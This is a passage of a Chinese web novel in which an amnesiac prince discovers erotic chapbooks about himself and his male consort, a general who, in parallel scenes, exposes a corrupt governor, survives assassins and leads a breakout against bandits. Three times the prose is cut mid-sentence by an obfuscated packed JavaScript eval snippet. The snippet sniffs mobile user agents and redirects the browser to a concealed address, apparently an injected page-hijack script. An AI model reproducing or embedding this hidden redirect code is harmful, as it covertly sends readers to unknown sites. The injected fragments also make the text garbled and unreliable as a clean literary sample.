他翻了翻,评价道:“虽说挚友的确英勇无畏所向披靡,但话本里的要么是荒诞不经——说淮屿身高九尺,虎背熊腰,力大无穷;要么是言过其实——说淮屿一枪能横扫百人;这本更是不可理喻——说淮屿可以御剑飞行,已修至元婴境界……元婴是什么?” 季青:“元婴是修仙话本里,修士们的一个大境界,修到元婴期,人可以寿数翻倍、通晓天下事,马上就要成仙啦!” 孟祈安:“……哦。” 把话本丢到一边问:“还有别的吗?” 季青:“市面上几乎都是这种……您要想看,我再去买来。” 孟祈安摆摆手:“算了,都只是用淮屿的名字,里面的角色不是他。无聊。” 季青试探性地问:“您是不是想大将军了?” 孟祈安下巴搁在书案上,眼神飘向远方,没承认也没否认:“唔……” 季青:“要不给大将军写信?” 孟祈安:“写了他也收不到。他是执行机密任务的,行踪不定。” 季青给他倒茶,说:“等大将军回来,您莫要再惹他生气了。” 孟祈安瞪了他一眼:“季青,你是谁的侍从?怎么每次都向着他说话!我哪里惹他生气了,倒是他,每每惹我生气!” 季青谄媚地笑:“我哪儿敢啊王爷,以前您总说什么都听大将军的,小的就是习惯了。” 孟祈安一激灵坐直:“我为何要什么都听他的?” 季青:“王爷我听见外头有卖切糕的您吃不吃?吃?得嘞!小的这就给您买去!”说完拔腿就跑。 孟祈安:“诶!你给我回来!” 奈何季青跑得飞快,眨眼就不见了。 孟祈安纳闷半天:“我为何要听他的?他管着我也就罢了,我还要处处听他的?我以前是有多贱?”他边嘟囔边随手拿起桌上谢淮屿给他留的信,又读了两遍。 “字虽然不如我的,但也挺好看的,像他的人,丰筋多力。”孟祈安一偏头看见旁边王妃的信,拿起来一对比,“这字迹……怎么有些像?”两封信字体大小不同,但他是被人称为当今书圣的大家,一眼就能看出相似。 “难不成王妃跟淮屿从小相识,一起学的字?” 他想找一些原来与王妃的书信,便在书房里四处翻找起来。 还真被他找出两个小木箱,他先打开了剔彩鸳鸯纹的小木箱,打开里面整齐摆放的全是书信。 他拆开看了,都是他写的,每一封抬头都是【亲亲小九】。 “是我给王妃写的……”他读了两封就受不了了,“噫!肉麻死了!” 他将书信放好,打开另一个大一些的金丝楠木箱子,里面是一沓子话本。 “什么好东西让我藏这么深?滔天溺爱之互宠?”他饶有兴致地读了起来,越读越不对劲,脸上红一阵白一阵。 啪! 他扔烫栗子一样将话本扔回箱子,盖上盖子。 脸像煮熟的虾子,又红又烫。“!!!!!” “一定是错觉……对!一定是错觉!我的书房里怎么会有这么……这么……情丨色的话本,还是我跟谢淮屿的?我跟谢淮屿?两个男人!” “…………” “两个男人怎么行丨房?” 他捂着砰砰直跳的心脏看看门外,没人,悄悄起身把书房的门关上,从里面拴上,再次打开书箱,拿出一本看了起来。 “原来是这样。”他看完一本已感觉浑身燥热,喝了好几杯凉水才消了点火,“太刺激了吧……” “话说为何会有我和谢淮屿的……而且怎么会在我的书房里?这要是被王妃看见了可还了得?”他想了想,扔了怕别人看见,于是小心翼翼地收回木箱。刚收起来心痒痒的,也不知道是猎奇还是什么,又想看了,干脆抱着木箱在书房一直看到了晌午。 季青在门外喊他,说太医来了,他才缓了缓,等身体反应消失才开门出去。 “奇怪了……殿□□内有一把虚火。哪儿来的这么旺的虚火?”太医把脉,欲言又止。最后忍不住提醒道:“殿下……要注意……呃……要节制情丨欲。” 孟祈安:“…………”太医面前无秘密…… 他觉得自己愈发不正常,话本里的文字在他脑中变成画面,一下午,他整个人都头晕脑胀,面色绯红。 许新卓一看见他就觉得不对劲:“殿下这是怎么了?发春了?” 孟祈安:“滚!” 许新卓:“真的,你的脸好红。” 孟祈安摸摸脸,烫得吓人。 许新卓揶揄道:“听说你府上来了新人?难不成是这新人的功劳?” 他不提孟祈安差点忘了还有贺知良这个人。 “你少说风凉话,皇后娘娘塞来的,我正头疼要怎么办!” 许新卓:“你跟王妃一直无所出,皇后娘娘也是为你好。你要不想要,就跟皇上说呗,不过皇上最近很忙,恐怕懒得理你的事。” “是啊……而且皇后娘娘塞了人给我,这件事皇兄未必知晓,我若是贸然去说,恐有告状之嫌。皇嫂待我如母,我得另想办法。”孟祈安无奈道,“新卓,你说我身体是不是有什么毛病?” 许新卓:“为何这么问?” 孟祈安:“我和王妃一直没有孩子,而且,我……”看自己和谢淮屿的艳丨情话本看得上瘾,还有了反应。 许新卓:“而且什么?” 孟祈安说了话本的事。 许新卓想笑,但又不能笑,憋得难受。“殿下你在担心什么?看艳丨情话本有反应不是很正常嘛?” 孟祈安:“可那是跟谢淮屿,我跟谢淮屿,难道我不该觉得恶心吗?” 许新卓拍拍他的肩:“你要不等大将军回来,与他探讨探讨?” 孟祈安:“笑话,我还要脸呢好吗!被他知道了,我们朋友还做不做了?” 他别扭道:“没什么好问的,我不喜欢男人。” 许新卓见他纠结,劝道:“如此,殿下不要再想了,不如跟我去外面转转,散散心吧?” 孟祈安带了两名侍卫,跟着他到望秋湖去。 冬日的望秋湖水没有结冰,银盘一样平静。 秦牧包了艘画舫,吴玉宣王松清也在,同船的还有几位世家公子。今日是礼部郎中杨鑫的生辰,杨鑫是秦牧的表哥,于是秦牧就做东请来了诸位好友。 杨鑫见安亲王驾临,大喜过望,他这样的小官,也是凭借跟秦家本家的关系得来的,能结交世家公子已是幸运,完全没想到能见到安亲王。 安王殿下即使是个闲散王爷,也是圣上最宠爱的亲弟弟。 孟祈安没想到竟有这么多人在,他两手空空来人家生辰宴不合适,于是当场提笔写了四个字赠与杨鑫。 【返老还童】 “当真是笔走龙蛇、妙趣横生!微臣三生有幸能得殿下赐字!感恩不尽!!”杨鑫一激动跪在地上给他磕了个头,请他上座。 席间除了公子哥们,就是舞姿曼妙的美女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147460|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是严华城最负盛名的教坊“云容楼”中的姑娘,各个都是身怀绝技面容姣好。 听说今日主座上的是传说中的安王殿下,各位姑娘都卯足了力气争着要在安王面前露脸。 全大承都知道安王与镇北大将军成婚了,虽说传说两人恩爱非常,但娶男妻相当于没有娶妻,更何况男妻无法生子,若是自己被安王看上了,怀上子嗣,那即便是大将军恐怕也说不出什么来。 最重要的是……安王生得一副谪仙面容,眉目俊逸得令人心驰神往。 主位上的男人倚在凭几上,身着月白色绣金蟒纹锦缎袍服,盖着披风,领口的银狐长毛簇着他玉雕似的面庞,鼻梁如雪岭眉峰如远山,眼尾似乎天生泛着薄红,与唇上那咬碎胭脂似的艳色交相呼应,目光低垂,眼波流转,当中好像有化不开的愁思。 任谁看去,都以为王爷在沉思,如不是思索国之大事,也是在斟酌新的诗句。 但其实……他是在回味上午看的话本内容。 坊间怎么会有我和淮屿的艳丨情话本?大承世风日下至此了吗?简直荒谬至极! 不过作者的文笔甚是出彩,将我俩写成了恩爱情侣,细节描写得也极为……深入…… 他咬了咬唇,惹得姑娘们频频侧目。 原来男子之间也可以交丨合…… 书中描写我压着淮屿的腰身…… 想到谢淮屿的那如同白杨枝干的脊背,流畅的背肌和骤然收紧的腰线,瘦却有力,常年习武形成的肌肉蛰伏在莹白滑腻的肌肤下,绝非刻意雕琢,而是自然生长,野蛮青涩,粗粝又精致,坚硬却柔软。 压在身下,为他且只为他舒展、张开。 孟祈安鼻腔突然一热,他下意识去捂。 底下的人惊呼:“殿下!” 斟酒的姑娘离得最近,还没等递上帕子。鲜血顿时在那洁白的狐狸毛上开出一朵朵红梅。 许新卓秦牧等人围过来关心。 许新卓:“好端端了怎的鼻衄了?” 又是擦又是堵又是喂水又是扇风,一同通忙乎之后鼻血总算止住了。 秦牧表哥带着一群姑娘跪了一地。 孟祈安:“起来起来,又不是你们的错。” 秦牧:“是不是上火了?要不请太医来看看?” 孟祈安:“小事儿,没必要。” 王松清掩嘴笑道:“许是憋久了,看见这曼妙身姿……” 许新卓斥道:“王松清你好歹也是太傅公子,怎么一开口竟是污言秽语!当心辱没了你才子的名声!” 王松清不服气地哼了声。 孟祈安鼻孔里塞着两个纸团,面色凝重地盯着画舫中央舞蹈的姑娘们,说道:“我不对劲。” 当天晚上,他便住进了龙泉寺。 山环水抱、静谧深远、晓风残月、青灯古佛。 他双手合十送走了方丈和沙弥,独坐房中感到内心无比平静。 季青四处看看灰扑扑的墙问:“王爷,咱们为何突然要住寺里来啊?”他现在也想拜佛,求佛祖让主子赶紧恢复记忆,要不这一天天的想一出是一出谁受得了? 孟祈安盘着佛珠淡淡地说了俩字:“静——心——” 季青不懂,季青也不敢问:“行吧,那我给您铺床。” 孟祈安简单洗漱后准备睡觉,刚躺下,就闻到一股熟悉的香味。 “季青!谁让你拿家里的被褥来的!” 翌日清晨,抱着被子一晚上都在想谢淮屿的孟祈安顶着俩黑眼圈坐在床上心想:“我不能对不起王妃,不能对不起小九!” 11. 第 11 章 这边三天几乎未合眼的谢淮屿刚抵达雄州首府安通城,在城下打了个喷嚏。 安通城是大承国西南第一大的城市,八街九陌车水马龙繁华异常。城墙高耸而坚实,城门口站着不少州军士兵,大声指挥驱赶着衣衫褴褛的流民。 果然如孟祈生所说,大批流民自西南村镇北上,进入了雄州其他城镇。 而这件事,太守刘景捂得严严实实,严华城居然一点消息也没有。 城中有几处流民安置所,门口插着宣王的旗子。 谢淮屿找了家客栈,今日休整一下,明日继续南下进入战区。 而且他还有更重要的事。 他要了两道菜,又让小二切了盘牛肉,坐在窗边正准备吃,四个脏兮兮的小孩儿就跑过来,站在外头眼巴巴地看着那盘牛肉,口水都要流到地上了。 谢淮屿把牛肉都给了他们,还给了他们一人两个馒头。 小二给他上菜,说道:“客官真是善人。只不过流民太多了,您给再多也填不满这个坑。” 谢淮屿吃完,天色已晚,他将长枪包袱放在客栈,只身前往太守府。 太守府大门守卫森严,他便从侧墙悄无声息地翻墙而入。 他落地的地方是太守府的花园。莲池垂柳、竹林假山、亭台楼阁、雕梁画栋,简直比安王府还要精致气派。 谢淮屿借着月光穿过竹林,两名侍女提着食盒往南院走去。 他听到侍女小声议论:“我今天在桂春楼排了两个时辰的队,才买到这一盒四个玉露团。” “我上回排了三个时辰呢!大人应该去找拿桂春楼的大厨子买回方子,在家里做着吃,省得那位贵人想吃了,难为的是咱们。” “可不是。我可真是受够了,那位贵人脾气大得很,昨天打了佳玉两巴掌,现在佳玉双颊还是肿的。” “真是可怜……哎,快走吧,免得贵人生气,咱们都要挨罚。” 两位侍女加快脚步穿过月门,谢淮屿从竹林中步出,跳上南院回廊顶,黑衣隐在黑夜之中,纵身两下攀上南院的三层小楼,从后窗进入一间没点灯的房间。 刚才那两位侍女步履匆匆进了小楼,爬上三楼,在他隔壁点着灯的房间门口停下敲了敲门。 “飞少爷,玉露团给您买回来了,现在用吗?” 屋里传来慵懒的男声:“端进来吧。” 谢淮屿跳到外面的连廊上,从窗缝看进去。 侍女将点心和各色菜品放在桌上就退了出去,一个披着红色外袍的年轻男人走过来吃了两口,就撂下了筷子。 “怎么?你不是最爱这桂春楼的玉露团子吗?吃腻了?”屋中还有另外一人。 雄州太守刘景。 那红衣男人拉着他坐下,自己则一屁股坐在他腿上,笑着喂他吃点心:“给你尝尝,今日的是山楂馅儿,好不好吃?” “别用手,用嘴喂我。”刘景今年三十有七,年轻男人浓眉大眼,看上去二十不到,两人举止亲密,状似情侣。 红衣男人在刘景腿上坐着也不老实,很快两人便情动,褪了衣衫在八仙桌上搅合在了一起。 谢淮屿没有听人墙角的癖好,但也没办法,只能硬着头皮从桌椅摇晃和皮肉拍打的声音里捡有用的听。 “你就非得明日走吗?”红衣男人气喘吁吁道。 刘景:“再不走,陆云旗便要开始反击了。我、我担心你那废物爹、没用……” 红衣男人:“早就让你弄死我爹,他死了整个雄州、不就都是我们的了?” 刘景:“小浪蹄子,你爹死了,谁替我们背锅?”说完沉默加速,两人抱在一起浪丨叫了一阵,草草结束了战斗。 “没想到宣王到严华城告御状去了……”刘景道,“闷不做声,整日种种花种种菜的人,啧!真是小瞧了他。” 红衣男人问:“所以你是想趁机让陆云旗跟我爹两败俱伤?再率军假装去支援陆云旗?那你先前给陆云旗的一万州军岂不可惜了?” 刘景:“可惜什么?他们是跟匪患同归于尽的,皇上问起来,他们的家人还能得到不少恩恤银。到时候咱们也能再得一份募兵军饷……” “即解决了我爹,又能拿钱,还能有军功,我爹那摊买卖也能到手,大人这是一石好几鸟的计策啊!” 刘景捏捏红衣男人的鼻子,语气宠溺地说道:“你爹是我的恩人,要不是为了你这小浪蹄子,我与你爹也不会反目成仇。” 红衣男子:“说什么呢?你与我爹,一山不容二虎,就算没有我,你就能放过我爹了?哼,我可不信。” 刘景:“陆云旗不容小觑,我折了不少精兵,才把他的羽檄都折了,若是有一封到了御前,咱们就完了。还有宣王,他一开始是去请谢淮屿的。” 红衣男子:“谢淮屿?你是说镇北大将军谢淮屿?” 刘景:“正是。宣王也是二愣子,皇上岂会轻易让谢淮屿来雄州,他去求也是挨骂。” 谢淮屿本尊听了这些,心道:一个州府太守,倒是什么都明白。他口中要嫁祸的人,应该就是贼寇头子钱元龙。一个地方官,一个地头蛇,分赃不均,加上拐走了人家的儿子,所以反目成仇了。 也不知他所说的恩人是怎么回事。 钱飞:“谢淮屿是不是那位男王妃?安亲王的男妻?” 刘景:“这事儿你倒记得清楚。” 钱飞:“真是同人不同命,同是龙阳断袖,人家能光明正大当王妃,我却躲在你这破院子里见不得光!” 刘景堵了他的嘴,两人湿哒哒地亲了一会儿:“等解决了你爹和陆云旗,你就是雄州的大王,到时候我还得仰仗大王的鼻息呢。” 谢淮屿再往下听,全是一些不堪入耳的话。他正欲推窗进去抓刘景,余光看到一道黑影掠近。 他矮身退了半步,一柄短刀从他刚才站的位置削了过去,砍在了窗户上。 “谁?!”屋内两人听见了动静,奔至窗前。 短短两息的功夫,谢淮屿已经和黑影打到了连廊拐角。 刷刷又是几道黑影。 八人。 谢淮屿一瞬间便识清了情况。 连廊在小楼外侧,狭窄仅供两人并行,对方即使人数众多,也难以同时挤进。 一黑衣人挥刀砍来,谢淮屿几乎不避,直接近身,刀锋贴着他的鼻尖划过,他钳住对手手腕,向下一掰,腕骨清脆折断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147461|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,短刀落地。另一只手手掌在对方下巴上一推,一拉一推,那人的颈骨脱位,倒地而亡。 接下来,他转身就是一脚,正中心窝,将第二人踹下楼去。 一开始就被发现了,他也没必要再藏着掖着,手起刀落,横着切断了第三人的脖子,鲜血四溅。第四人第五人前后包抄而来,他微微闪躲,踩住一人膝盖外侧,又是咔吧一声脆响,并着惊呼,两人的刀戳进了对方的胸口。 六七八想跑,他掷出短刀,刀刃狠狠插进第六人的小腿,贯通而过楔入地板。他踩着第六人的头横扫一脚正中第七人的太阳穴,那人立刻双目充血当即毙命。 “来人!来人!有刺客!!”刘景和钱飞大声呼喊,州军和府兵已奔至院外。 谢淮屿将短刀换了个方向掷出,刀尾撞上逃跑的第八人的后脑勺,那人踉跄了一下从墙头摔了下去。 谢淮屿翻墙而出,提起那人便跑。 一番混战,只留了一个活口。 跑出去好几条街,他才停下来,躲进一家人家的柴房里。 太守府进了刺客,今晚安通城恐怕都要被掀个底朝天。 他拿抹布塞进昏迷不醒的黑衣人嘴里,然后泼了瓢冷水在黑衣人脸上。 黑衣人惊醒,但被绑着无法动弹。 谢淮屿扯了他嘴里的布,问:“谁派你来的?” 黑衣人看着他,突然右腮使劲,咬了下牙。 谢淮屿几乎是同时就掰住了他的下巴,但也为时已晚。那人突然口吐白沫,服毒自尽了。 看来是早有准备,要么成功杀了他,要么失败自杀。人数众多,目标明确,武功高强,当机立断。 是谁想要杀他?又怎么知道的他的行踪。 他南下雄州的事,只有他、皇帝、丞相、兵部尚书知道,就连孟祈安他都没说。看刘景的反应,肯定不是他的人。 杀手身穿黑色短打,蒙着面,身上没有任何能辨别身份的东西。 脚边的短刀引起了谢淮屿的注意。 这是他从杀手手里抢的。 短刀很普通,刀柄上缠着黑布,刀身狭窄略带弯曲,他很熟悉,因为镇北军中骑兵常配此刀作为短兵器。 然而这柄短刀并非军刀。大承国的兵器,无论军用还是民用,刀刃上都会有铸造者的名字。军刀是为了出了问题好寻找铸造者追责,民用刀具则是为了方便府衙治安管理。也有没有刻字的刀,一经发现,使用者会被处罚,轻则交罚款服徭役,重则关入监牢。 这柄短刀没有刻字。也就是说,它是非法铸造,且无法追溯铸造者的。 若是这把没有,那其他七把大概也没有。如果是个杀手组织,那未刻字的就会更多…… 难不成是钱元龙派来的人,想要刺杀的人是刘景? 不可能。 若是刺杀刘景,断不会八个人全都在他身上浪费时间。 眼下他在明,对方在暗,安通城不能再待下去了。他也不能再回去太守府抓人,只能先行一步,先解决掉钱元龙,帮助陆云旗脱困,到时候抓刘景就不必再隐藏身份。杀手的事只能走一步看一步。 想到这里,他回客栈取了长枪连夜往南赶去。 12. 第 12 章 龙泉寺在京城地位颇高,独占严华城最高峰灵山,从闹市进入龙泉寺地界,就像进入了另一个世界。山门之外,皆是凡尘,山门之内,便入净土。 安王住在寺院后山,更是远离香火鼎盛的寺庙殿宇。 他打了三套拳,出了汗,浑身松快。这两天他住在这儿,早中晚都要锻炼,除去锻炼,他便读书写字作画,活得十分律己。锻炼的效果卓著,神清气爽精力充沛,而且他也不怎么想谢淮屿了,感觉简直是从欲望的阴暗角落里奔向了阳光。 他每日还给王妃写信,从想念到催促,只希望王妃能赶紧回来。 “只要王妃回来了,就一切都正常了。”他信心满满对季青说。 季青:“啊对对对。”他也希望王妃能回来,把事情跟王爷说清楚。 孟祈安擦了擦额角的汗,觉得还有体力能消耗,于是便踩着银霜顺着幽静曲径散步。古刹风景甚美,白天看庄严肃穆,夜晚每隔十丈点一盏灯,都是善男信女们供奉的酥油灯。 忽的一阵风打脚边扫过,前面几盏油灯全都灭了。周遭顿时陷入一片黑暗之中。 “王爷,咱回去吧。”季青摸摸手臂,小声道,“怪渗人的。” 孟祈安的眼睛很快便适应了黑暗,说道:“胆子比米粒儿还小,这儿是龙泉寺地界,妖魔鬼怪可不敢进来。你瞧瞧天上。” 风吹散了云,寒空之中一弯月牙,月牙周围,星子都亮了起来,勾勒出银河的边界。 “真好看啊!”季青感慨道,“城中灯多,看不到银河。” 孟祈安抬头望着夜空,突然感觉心里空落落的,不仅是心里,手心和怀里也是。 如此良辰美景,他理应和谁共赏才是。 他能想到的只有谢淮屿一人。 脑子里突然闪过几个画面。 “……建宁关的星空更美,淮屿,你答应过我,要带我去关外大漠中去看星星的。” “是,但今年不行。最近罗傲国皇室兄弟阋墙……虽有盟约,但边关也不安宁。等……” “等等等,又让我等,每年你都要去戍边,一走走半年,留我一个人在王府……” “对不起……” …… “王爷?王爷?”季青见孟祈安发呆,轻轻拍了拍他的手臂,“王爷,您怎么了?” 那几个画面让孟祈安头疼欲裂,他掌根按住眉心,揉了揉说:“没事。” 他是记忆错乱了吗?为何要跟着谢淮屿去边关? 所以,他并非因为那些艳丨情话本才对谢淮屿有感觉?而是曾经就有过要背叛王妃的想法吗?难不成王妃是被他和谢淮屿气走的? 一阵冷风吹过,将他吹了个透心凉。 他的头疼也被冷风吹得缓解了不少,说道:“再往前走走,吹吹风。” 林间小路很快走到了尽头,再往前走便是红色的院墙,树林与院墙之间的小坡上长了不少火棘果和金樱子。 “王爷,小的去摘!您别动!”季青见孟祈安去够果子,赶忙将灯笼放在地上。 孟祈安情绪来得快,去得也快,说道:“这果子,我跟淮屿在宿卫军校场摘过!当时……”他说到一半,后面想不起来了,只记得谢淮屿爬到树上给他摘花摘果子,他在地上都捡起来,开心地拿袍子兜着。完全不记得他全大承仅一件的浮光锦袍子全被金樱子上的小刺勾坏了,为此母后责骂了他,还是修媛和八哥替他求情,才逃过一顿手板。 记忆戛然而止的感觉让他头晕,像是站在一堵漆黑的墙面前,又憋闷又难受。他想忆起谢淮屿在树上对他说的话,想忆起谢淮屿的笑容,但却怎么也想不起来。 “……谢淮屿……” 他正坐在地上消沉,听见院墙的另一面传来交谈的声音。声音不高,但对方谈论的是谢淮屿,他的耳朵立马竖了起来。 “谢淮屿南下剿匪的事没有几人知晓,若是没能杀了他,让他活着回来,到时候恐怕会摸到咱们。” 孟祈安:“!!”有人要杀谢淮屿?他捂住季青要说话的嘴,示意他闭嘴,悄悄地摸到院墙底下偷听。 “不会的,即使杀手失败了,达州州军还有咱们的人,保准万无一失。” “如此我便放心了。” 院墙两人多高,即使站在斜坡顶上也看不到里面,他在墙根底下找到了一个排水口,但是趴在地上也看不到里面的人。 “啊!”他气得跺脚,无声胜有声。 院墙里的两人要走,他什么也不顾了,顺着院墙跑到最近的一处院门,结果发现门是从里面锁上的。 他从门缝往里面看,只看到两人的背影。 一个穿着青色长衫披着白色斗篷,另一人则是宝蓝色锦袍,腰间挂着一枚白玉圆环玉佩,晃动间,玉佩中间的枣核形镂空仿佛一只眼睛。 那两人拐了个弯往外走去。 孟祈安没有看到他们的脸,急着去找大门,找了大半圈才找到院墙的入口,跑进院中,早已人去楼空不知去向了。 “王爷!王爷!”季青追在他身后,要给他擦脸掸土,“咱去哪儿啊?” 孟祈安焦急地挥开他的手:“进宫。” 大半夜被他吵醒的皇帝听了他的陈述,让宿卫军统领带人秘密前去龙泉寺。又写了密信给谢淮屿,命周常连夜送到慧云飞手中。镇北军有自己特有的联络方式,能以最快最安全的速度将密信交到谢淮屿手中。 “你站住。”皇帝叫住急吼吼要离开的孟祈安,“上哪儿去?” 孟祈安还能去哪儿?他现在只想骑上马就去找谢淮屿,天知道他怎么会担心得快哭了。 “我……臣弟回府。” 皇帝不信:“太晚了,你就留在孤的寝宫睡吧。” 第二日清晨,宿卫军统领回报,在龙泉寺内并未找到那两人,问过主持和沙弥,都说香客众多,说不上名字来。那个院子空置许久,并没有人瞧见有人出入。 宿卫军是秘密搜查,不敢大张旗鼓,从龙泉寺出去的几条路、路上的客栈府邸、百姓人家也都查过了,没有两人的行踪。 若不是孟祈安说听到二人说谢淮屿南下剿匪,但他本人事先并不知晓,皇帝都要以为孟祈安摔坏了脑子出了癔症。 皇帝深知谢淮屿就是孟祈安的命,干脆禁了幼弟的足,留他在宫中住下。 、 雄州庆红山。 陆云旗与剩下的几千兵马在山中扎营。 钱云龙的土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147462|164724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匪窝子就在庆红山深山之中。 经过五天前的那场战斗,他发现,贼寇人数众多,虽然打法粗糙,但都是不怕死的,最关键的是,庆红山方圆几百里的山区,以及山里、附近的村镇,都已经被贼寇占领。也就是说,每一个村子都是他们的据点。如此一来,不熟悉地形的州军还没有进入西南的山地地带,就已经踏入了贼寇的领地了。 若是想要清剿匪患,要么逐一收复村镇,要么直捣黄龙,剿了他们的老巢。 然而第一种战略需要兵力,而且容易疲军,第二种……连他们老巢的位置都不知道…… 陆云旗从军近二十载,屡立战功,尤其是在建宁关、老将军手下,他是先锋官,战鼓擂响,他总是第一个冲上阵去的。后来边境安宁,老将军将他举荐到中军,也是为了他的前途着想。不过中军守卫京畿地区,难以有建功立业的机会,他想有机会证明自己,不给老将军丢人,才主动请缨前来剿匪。 结果出师未捷,竟被一群乌合匪众节节逼退至深山之中。 他来雄州上任,与太守刘景初次见面便闹得很不愉快。刘景手握两万重兵,却只肯交给他一万,即使他是皇帝钦点的雄州节镇。但山高皇帝远,剿匪任务急,他只能压着火带了一万州军南下。 出发之前,他不熟悉雄州,与刘景彻夜讨论过行军路线,却在刚进入庆红山地界时就遇到了伏击。 透露情报的不是刘景还能有谁? 他恨刘景恨得牙痒痒,恨不得吃他的肉为牺牲的州军弟兄们报仇。 目前州军六千人在一处山谷休整,六日是极限了,若再不攻破包围,粮草断了他们就更难出去了。 斥候回报,山谷外有大批匪军,人数超过五千,也已经整军列队,堵在谷口。 “娘的!”陆云旗忍不住骂了句。山谷易守难攻,他们想出去,很难。 他与将领商议了几种突围方案,但山谷谷口狭窄,从内部实在难以突破。 正一筹莫展之际,士兵报告有人来了。 他走出军帐看到来人差点哭出来。 “大将军……” 谢淮屿背着长枪,爬山涉水进来的山谷,身上枪上还挂着晨露。 “陆叔叔。”他见将士们都是愁云密布,尤其是陆云旗,感觉快哭出来了,也不知道如何安慰,干巴巴地说,“先商议策略吧,其他容后再说。” “谷口难破,是因其地形限制。”他指着舆图道,“陆叔叔可还记得建宁关外的银珠山?” 陆云旗:“记得。当年罗傲大军围堵银珠山,大将军率军突围成功,可谓奇迹。” 谢淮屿:“并非奇迹。银珠山关隘与庆红山谷口相似,都是易守难攻的葫芦口形。我们可以兵分五路,骑兵从峡谷直接突围,吸引敌方兵力。另外两路在两侧的山腰以滚石袭击进入山谷的敌军,截断他们的退路。最后两路爬过两侧的山,从山脊下降,我算了算,登山绕出去四十里山路,耗时要大半天。” 陆云旗拍手:“我懂了,就是将敌方的兵力打散!把堵住葫芦嘴的石头搬掉。” 谢淮屿:“是,爬山出去的两路人马最后从后方包围敌军。” 陆云旗:“我这就整军,让这两路人马先行!” 13. 第 13 章 第二日天还没亮,钱云龙在帐内就听见了骚乱。手下来报,说州军出谷了。 “哈!让他们来!王八探头,探出一个杀一个!” 这帮匪徒盘踞在雄州西南山区已有三十年之久,从一开始的十几个混混地痞,发展到现在,人数已经超过八千,相当于一个大城镇的人口。要养活这些人不容易,钱元龙名下产业田产众多,不仅是他,他手下的亲信每一个单拎出来都是腰缠万贯的人。匪兵绝大多数以前都是普通老百姓,奔不到出路只能落草为寇。男女老少都有,土匪生了孩子依旧是土匪,就这样,人数越来越多,整个雄州西南山区都是他们的地盘。 钱元龙四十多岁,虎背熊腰身形彪悍,一条增生了暗红色肉芽的伤疤横贯他的面中部,鼻梁骨断过几次没管,胡乱地长上了,比常人的更粗,撑得面上部高出三指、双眼外突,常年酗酒眼白爬满血丝,铁护腕上裹了人皮,身上的熊皮袄是他徒手猎杀的黑熊身上扒的。连他□□的马也比寻常的马高大,甚至超过了成年男子的身高。 “小子们,山中的是刘景那白眼狼的兵,杀了他们,雄州就是咱们的了!”他一声高喝,匪众立刻响应,呼声震天。 “老大!杀了这些州军之后,咱们北上打到安通城!宰了刘景,您登基称帝,与那大承皇帝平起平坐!” “大王!” “大王万岁!!” “大王万岁!!!” 谢淮屿站在山头上,隔着几里就听见了他们的呼喊声。陆云旗帅中路突围的州军已经奔至谷口,最难打的就是中路,所以中路都是精兵强将,也都是骑兵。好在山谷植被茂盛,箭羽并不好使,对方也只能冲上来短兵相接。 陆云旗听谢淮屿的,不恋战,瞅准敌方的小头子,策马上前,一刀了结了一个,另外一个小头头看见了他,杀红了眼举刀喊道:“弟兄们,把那带披风的给我杀了!!” 陆云旗是节镇,身上穿的,使的兵器与普通士兵有区别,立刻成了众矢之的。 他完全可以杀了这些围攻上来的贼寇,但他没有,勒马回身,战马起扬,他的长柄战刀随之劈下,一个小兵喊都没机会喊,被砍中天灵,双膝跪地而亡。 他杀出一条血路,率军往山谷里跑。 钱元龙的匪军中有规定,杀一个敌人,赏银钱四十两,杀一双给一百两,提了三个头来领赏的,给小头头当当,手底下能管十几号人,手下抢到的东西,他都能拿一份,若是杀了将领,三把手给你做!有钱拿谁不愿意要?那几个小头头哪能放过立功的机会,争先恐后地追进了山谷。 约有四百匪徒进了山谷,早就部署好的两路州军从山上往下推石块,石块滚滚而下,砸了贼寇一个措手不及。 钱元龙在谷口听见手下来报,哼笑道:“让他们折腾,区区几百人,折就折了,我看他们还能使出什么招数!老子就算按兵不动,照样能把他们困死在山谷里!” 陆云旗策马登上山坡,忧心忡忡道:“这招诱敌深入只折损了他们几百兵力,后面怎么办?”从山上出去的两路精兵大约一千人,前半夜就出发了,现在应该快到了。但兵力悬殊,那些人即使从后方突袭,加上他们从谷内突围,两面夹击恐怕也是一场苦战…… 但大将军这么部署的,他必须服从,而且他信大将军的。 庆红山这条山谷没有路,谢淮屿带着州军从他来时进山的路线一路披荆斩棘出去的。此时他站在半山腰,看到远处大批兵马出现在山林之中。 是刘景的州军。 前日太守府出了刺客,刘景让人把安通城翻了个遍,在河里找到了第八具尸体。 凶手未知。 他与钱元龙的仇正是了结的关头,就有人到他府中杀人。 钱元龙不是会派杀手的人。 